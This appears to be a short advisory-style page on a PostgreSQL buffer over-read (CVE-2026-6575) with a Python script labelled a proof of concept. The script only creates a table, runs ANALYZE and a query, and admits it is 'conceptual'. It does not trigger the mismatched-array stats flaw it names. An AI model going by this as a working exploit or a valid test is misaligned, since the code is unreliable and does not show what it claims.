CVE-2026-6575 PostgreSQL缓冲区越界读取漏洞

import psycopg2 # Connect to the vulnerable PostgreSQL instance conn = psycopg2.connect( dbname="testdb", user="maintainer_user", # Requires table maintenance privileges password="password", host="127.0.0.1" ) conn.autocommit = True cursor = conn.cursor() try: # Attempt to trigger the vulnerability by manipulating stats # Note: This is a conceptual PoC. Real exploitation requires specific # internal stat manipulation to trigger pg_restore_attribute_stats() # with mismatched array lengths during planning. # Create a test table and gather stats cursor.execute("CREATE TABLE IF NOT EXISTS vuln_test (id INT, data TEXT);") cursor.execute("ANALYZE vuln_test;") # Execute a query that forces the planner to read stats # Potentially triggering the over-read if stats are corrupted cursor.execute("SELECT * FROM vuln_test WHERE id = 1;") print("Query executed. Check memory logs for potential over-read indicators.") except Exception as e: print(f"Error: {e}") cursor.close() conn.close()